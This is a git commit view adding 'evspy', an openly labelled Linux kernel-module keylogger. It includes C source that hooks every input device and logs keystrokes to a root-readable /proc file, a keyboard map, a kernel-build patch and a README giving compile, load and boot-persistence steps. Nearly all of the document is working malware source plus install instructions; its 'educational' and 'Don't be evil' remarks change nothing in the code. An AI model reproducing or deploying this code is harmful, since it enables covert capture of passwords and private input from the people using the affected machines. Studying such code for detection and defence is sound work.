aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorGuillermo Ramos2011-09-09 16:26:08 +0200
committerGuillermo Ramos2011-09-09 16:26:08 +0200
commit0984403a3dccd78faf0ce790ca7929927cc07349 (patch)
tree3060ce43f7a65dbdb8b20013d07f307b12ff992e
downloadevspy-0984403a3dccd78faf0ce790ca7929927cc07349.tar.gz
First github commit
-rw-r--r--Makefile7
-rw-r--r--README47
-rw-r--r--TODO4
-rw-r--r--evspy.c272
-rw-r--r--evspy.h71
-rw-r--r--evspy.patch31
-rw-r--r--maps.h37
7 files changed, 469 insertions, 0 deletions
diff --git a/Makefile b/Makefile
new file mode 100644
index 0000000..7e403d9
--- /dev/null
+++ b/Makefile
@@ -0,0 +1,7 @@
+obj-m += evspy.o
+
+all:
+ make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
+
+clean:
+ make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
diff --git a/README b/README
new file mode 100644
index 0000000..cbc8d2f
--- /dev/null
+++ b/README
@@ -0,0 +1,47 @@
+** INTRO **
+
+Evspy is a general purpose kernel-mode keylogger in (early) development stage.
+
+The file from where you can read the registered keystrokes is /proc/driver/evspy
+by default. Only root can read it. Beware users: evspy can troll you.
+
+Don't be evil.
+
+
+** COMPILE **
+
+ $ make
+
+
+** LOAD **
+
+ # insmod evspy.ko
+
+
+** UNLOAD **
+
+ # rmmod evspy
+
+
+** IS IT ALREADY LOADED? **
+
+ $ lsmod | grep evspy
+
+
+** PERSISTENCE **
+
+If you want evspy to be loaded every time system boots, copy it into your
+kernel module dir:
+
+ # cp evspy.ko /lib/modules/$(uname -r)/kernel/drivers/input/evspy.ko
+
+and update module database:
+
+ # depmod -a
+
+(In some distros it could also be necessary to add it to some rc/config file)
+
+Once it has been installed, you can load it when you want with
+
+ # modprobe evspy
+
diff --git a/TODO b/TODO
new file mode 100644
index 0000000..7303bf8
--- /dev/null
+++ b/TODO
@@ -0,0 +1,4 @@
+* Fix backspace key (do not erase special key events) - Prio:Medium
+* Implement 2nd mapping (shift) - Prio:Medium
+* Take a look at kernel's circular list API - Prio:Low
+* Which FX key has been pressed? - Prio:None
diff --git a/evspy.c b/evspy.c
new file mode 100644
index 0000000..39e87f3
--- /dev/null
+++ b/evspy.c
@@ -0,0 +1,272 @@
+/*
+ * Copyright (c) 2011 Guillermo Ramos <0xwille@gmail.com>
+ * based on evbug module by Vojtech Pavlik ((c) 1999-2001)
+ */
+
+/*
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
+ *
+ * Should you need to contact me, the author, you can mail your message to
+ * <0xwille@gmail.com>
+ */
+
+#include <linux/module.h>
+#include <linux/input.h>
+#include <linux/slab.h>
+#include <linux/init.h>
+#include <linux/proc_fs.h>
+#include <linux/stat.h>
+#include <linux/string.h>
+#include <linux/cred.h>
+#include <linux/sched.h>
+#include "evspy.h"
+
+
+static char *buffer; // circular buffer
+static char *rdp; // read pointer
+static char *wrp; // write pointer
+static char *map = EVS_MAP; // current keyboard layout
+static unsigned int capslock_state = EVS_VAL_FREE;
+
+// This is how special keys will be displayed (+: pressed / -: freed)
+static char sp_tag[] = "<+XXX>";
+
+/*
+ * Executed when the procfs file is read (EVS_PROCNAME)
+ */
+int evspy_read_proc(char *page, char **start, off_t offset, int count,
+ int *eof, void *data)
+{
+ int n, toend;
+ int retval = 0;
+ int diff = wrp - rdp;
+
+ // root only plz
+ if (current_uid() || current_euid()) {
+#if EVS_TROLL == 1
+ n = MIN(36, count);
+ strncpy(page, "Trololololo lololo lololo\nhohohoho\n", n);
+ *eof = 1;
+ return n;
+#else
+ return -EPERM;
+#endif
+ }
+
+ // wrp > rdp: read from rdp to wrp
+ if (diff > 0) {
+ n = MIN(diff, count);
+ strncpy(page, rdp, n);
+ rdp += n;
+ retval = n;
+
+ // rdp > wrp: read from rdp to end of buffer and then from the beginning of
+ // the buffer to wrp
+ } else if (diff < 0) {
+ toend = (buffer + EVS_BUFSIZE) - rdp;
+ n = MIN(toend, count);
+ strncpy(page, rdp, n);
+ retval = n;
+
+ if (n < toend) {
+ rdp += n;
+ } else {
+ n = MIN(wrp - buffer, count - retval);
+ strncpy(page + retval, buffer, n);
+ retval += n;
+ rdp = buffer + n;
+ }
+ }
+
+ // wrp == rdp: buffer is empty
+ if (rdp == wrp)
+ *eof = 1;
+ return retval;
+}
+
+/*
+ * Handle unknown/special key events
+ */
+static void special_char(unsigned int code, unsigned int value)
+{
+ int i;
+ int known = 1;
+
+ // We need to know when some special keys are freed; add them here
+ switch(code) {
+ case KEY_LEFTSHIFT:
+ case KEY_RIGHTSHIFT:
+ case KEY_LEFTALT:
+ case KEY_RIGHTALT:
+ case KEY_LEFTCTRL:
+ case KEY_RIGHTCTRL:
+ break;
+ default:
+ if (value == EVS_VAL_FREE)
+ return;
+ }
+
+ switch(code) {
+ case KEY_RIGHTSHIFT:
+ case KEY_LEFTSHIFT:
+ strncpy(sp_tag+2, "SFT", 3);
+ break;
+ case KEY_LEFTALT:
+ strncpy(sp_tag+2, "ALT", 3);
+ break;
+ case KEY_RIGHTALT:
+ strncpy(sp_tag+2, "AGR", 3);
+ break;
+ case KEY_LEFTCTRL:
+ case KEY_RIGHTCTRL:
+ strncpy(sp_tag+2, "CTR", 3);
+ break;
+ case KEY_TAB:
+ strncpy(sp_tag+2, "TAB", 3);
+ break;
+ case KEY_ESC:
+ strncpy(sp_tag+2, "ESC", 3);
+ break;
+ case KEY_UP:
+ strncpy(sp_tag+2, " ^ ", 3);
+ break;
+ case KEY_DOWN:
+ strncpy(sp_tag+2, " v ", 3);
+ break;
+ case KEY_LEFT:
+ strncpy(sp_tag+2, " < ", 3);
+ break;
+ case KEY_RIGHT:
+ strncpy(sp_tag+2, " > ", 3);
+ break;
+ default:
+ known = 0;
+ }
+
+ if (!known && evs_isfX(code))
+ strncpy(sp_tag+2, "F??", 3);
+ else if (!known)
+ return;
+
+ if (value == EVS_VAL_PRESS)
+ sp_tag[1] = '+';
+ else if (value == EVS_VAL_FREE)
+ sp_tag[1] = '-';
+
+ for (i = 0; i < sizeof(sp_tag) - 1; i++)
+ evs_insert(sp_tag[i]);
+}
+
+static void evspy_event(struct input_handle *handle, unsigned int type,
+ unsigned int code, int value)
+{
+ // Ignore hold-key events
+ if (unlikely(value == EVS_VAL_HOLD))
+ return;
+
+ // If caps lock is pressed, handle it the same way as left shift
+ if (code == KEY_CAPSLOCK && value == EVS_VAL_PRESS) {
+ capslock_state = !capslock_state;
+ special_char(KEY_LEFTSHIFT, capslock_state);
+ return;
+ } else if (type != EV_KEY || unlikely(code >= sizeof(EVS_MAP))) {
+ return;
+ }
+
+ // Special/unknown keys (alt, ctrl, esc, mayus, etc)
+ if (map[code] == '.' && likely(code != KEY_DOT))
+ special_char(code, value);
+
+ // "Direct" keys (alphanumeric + some symbols)
+ else if (value == EVS_VAL_PRESS)
+ evs_insert(map[code]);
+}
+
+static int evspy_connect(struct input_handler *handler, struct input_dev *dev,
+ const struct input_device_id *id)
+{
+ struct input_handle *handle;
+ int error;
+
+ handle = kzalloc(sizeof(struct input_handle), GFP_KERNEL);
+ if (!handle)
+ return -ENOMEM;
+
+ handle->dev = dev;
+ handle->handler = handler;
+ handle->name = EVS_NAME;
+
+ error = input_register_handle(handle);
+ if (error)
+ goto err_free_handle;
+
+ error = input_open_device(handle);
+ if (error)
+ goto err_unregister_handle;
+
+ return 0;
+
+ err_unregister_handle:
+ input_unregister_handle(handle);
+ err_free_handle:
+ kfree(handle);
+ return error;
+}
+
+static void evspy_disconnect(struct input_handle *handle)
+{
+ input_close_device(handle);
+ input_unregister_handle(handle);
+ kfree(handle);
+}
+
+static const struct input_device_id evspy_ids[] = {
+ { .driver_info = 1 }, /* Matches all devices */
+ { }, /* Terminating zero entry */
+};
+
+MODULE_DEVICE_TABLE(input, evspy_ids);
+
+static struct input_handler evspy_handler = {
+ .event = evspy_event,
+ .connect = evspy_connect,
+ .disconnect = evspy_disconnect,
+ .name = EVS_NAME,
+ .id_table = evspy_ids,
+};
+
+static int __init evspy_init(void)
+{
+ create_proc_read_entry(EVS_PROCNAME, 0, NULL, evspy_read_proc, NULL);
+ buffer = kmalloc(EVS_BUFSIZE, GFP_KERNEL);
+ rdp = buffer;
+ wrp = buffer;
+ return !buffer || input_register_handler(&evspy_handler);
+}
+
+static void __exit evspy_exit(void)
+{
+ kfree(buffer);
+ remove_proc_entry(EVS_PROCNAME, NULL);
+ input_unregister_handler(&evspy_handler);
+}
+
+module_init(evspy_init);
+module_exit(evspy_exit);
+
+MODULE_AUTHOR("Guillermo Ramos <0xwille@gmail.com>");
+MODULE_DESCRIPTION("Event based keylogger");
+MODULE_LICENSE("GPL");
+MODULE_VERSION("0.1");
diff --git a/evspy.h b/evspy.h
new file mode 100644
index 0000000..3df0c9e
--- /dev/null
+++ b/evspy.h
@@ -0,0 +1,71 @@
+#include <asm/page.h>
+#include <linux/input.h>
+#include "maps.h"
+
+#define EVS_NAME "evspy" // driver name
+#define EVS_MAP map_es // change this to your keyboard layout
+#define EVS_TROLL 1 // clear this if you're a serious guy
+#define EVS_BUFSIZE PAGE_SIZE // size of the circular buffer (4K)
+#define EVS_PROCNAME "driver/" EVS // virtual file within /proc
+
+#define MIN(x, y) (x) < (y) ? (x) : (y)
+
+/*
+ * If pointer is at the end of buffer, put it at the beginning.
+ * If not, simply add 1 to it.
+ */
+#define evs_incp(p) \
+({ \
+ if (p == &buffer[EVS_BUFSIZE-1]) \
+ p = buffer; \
+ else \
+ p++; \
+ p; \
+})
+
+/*
+ * Same as evs_incp but backwards
+ */
+#define evs_decp(p) \
+({ \
+ if (p == buffer) \
+ p = &buffer[EVS_BUFSIZE-1]; \
+ else \
+ p--; \
+ p; \
+})
+
+/*
+ * Insert character c where wrp is pointing and move it to the next char.
+ * If rdp == wrp, increase rdp too.
+ */
+#define evs_insert(c) \
+({ \
+ *wrp = c; \
+ if (evs_incp(wrp) == rdp) \
+ evs_incp(rdp); \
+})
+
+/*
+ * Remove a character from the buffer
+ */
+#define evs_delete() \
+({ \
+ if (wrp != rdp && evs_decp(wrp) == rdp) \
+ evs_decp(rdp); \
+})
+
+/*
+ * Is the c event code associated to any of the FX buttons?
+ */
+#define evs_isfX(c) \
+({ \
+ (c >= KEY_F1 && c <= KEY_F10) || \
+ (c == KEY_F11 || c == KEY_F12) || \
+ (c >= KEY_F13 && c <= KEY_F24); \
+})
+
+// Event values
+#define EVS_VAL_FREE 0
+#define EVS_VAL_PRESS 1
+#define EVS_VAL_HOLD 2
diff --git a/evspy.patch b/evspy.patch
new file mode 100644
index 0000000..916f52b
--- /dev/null
+++ b/evspy.patch
@@ -0,0 +1,31 @@
+diff --git a/drivers/input/Kconfig b/drivers/input/Kconfig
+index 23e82e4..ac4889a 100644
+--- a/drivers/input/Kconfig
++++ b/drivers/input/Kconfig
+@@ -149,6 +149,14 @@ config INPUT_EVBUG
+ To compile this driver as a module, choose M here: the
+ module will be called evbug.
+
++config INPUT_EVSPY
++ tristate "Event based keylogger"
++ help
++ This is an experimental keylogger made for educational purposes
++
++ To compile this driver as a module, choose M here: the
++ module will be called evspy.
++
+ config INPUT_APMPOWER
+ tristate "Input Power Event -> APM Bridge" if EXPERT
+ depends on INPUT && APM_EMULATION
+diff --git a/drivers/input/Makefile b/drivers/input/Makefile
+index 0c78949..00c8429 100644
+--- a/drivers/input/Makefile
++++ b/drivers/input/Makefile
+@@ -15,6 +15,7 @@ obj-$(CONFIG_INPUT_MOUSEDEV) += mousedev.o
+ obj-$(CONFIG_INPUT_JOYDEV) += joydev.o
+ obj-$(CONFIG_INPUT_EVDEV) += evdev.o
+ obj-$(CONFIG_INPUT_EVBUG) += evbug.o
++obj-$(CONFIG_INPUT_EVSPY) += evspy.o
+
+ obj-$(CONFIG_INPUT_KEYBOARD) += keyboard/
+ obj-$(CONFIG_INPUT_MOUSE) += mouse/
diff --git a/maps.h b/maps.h
new file mode 100644
index 0000000..91531aa
--- /dev/null
+++ b/maps.h
@@ -0,0 +1,37 @@
+/*
+ * ## KEYBOARD LAYOUT MAPS ##
+ *
+ * Each map is an array where the content of each position is the key value
+ * associated with the event code (index). An special/unknown key is represented
+ * as a dot ('.'). The dot key itself has its own macro (KEY_DOT).
+ *
+ * By the moment, evspy does not support non-ascii characters.
+ *
+ * Select your map with EVS_MAP macro in evspy.h
+ */
+
+// Spanish
+static char map_es[] = {
+ '.', '.', '1', '2', '3', //0 // 1:ESC
+ '4', '5', '6', '7', '8', //5
+ '9', '0', '\'', '!', '\b', //10 // 13:¡ (NOASCII) 14:BACKSPACE
+ '.', 'q', 'w', 'e', 'r', //15 // 15:TAB
+ 't', 'y', 'u', 'i', 'o', //20
+ 'p', '`', '+', '\n', '.', //25 // 29:LCTRL
+ 'a', 's', 'd', 'f', 'g', //30
+ 'h', 'j', 'k', 'l', 'n', //35 // 39:ñ (NOASCII)
+ '\'', '.', '.', 'c', 'z', //40 // 42:LMAYUS 43:ç (NOASCII)
+ 'x', 'c', 'v', 'b', 'n', //45
+ 'm', ',', '.', '-', '.', //50 // 52:. 54:RMAYUS
+ '*', '.', ' ', '.', '.', //55 // 56:ALT 58:BLKMAYUS 59-68:F1-F10
+ '.', '.', '.', '.', '.', //60
+ '.', '.', '.', '.', '.', //65
+ '.', '7', '8', '9', '-', //70
+ '4', '5', '6', '+', '1', //75
+ '2', '3', '.', '.', '.', //80
+ '.', '<', '.', '.', '.', //85
+ '.', '.', '.', '.', '.', //90
+ '.', '\n', '.', '/', '.', //95 // 97:RCTRL
+ '.', '.', '.', '.', '.', //100 // 100:ALTGR 103:up_arrow
+ '.', '.', '.', '.', '.', //105 // 105:l_arrow 106:r_arrow 108:dwn_arrow
+};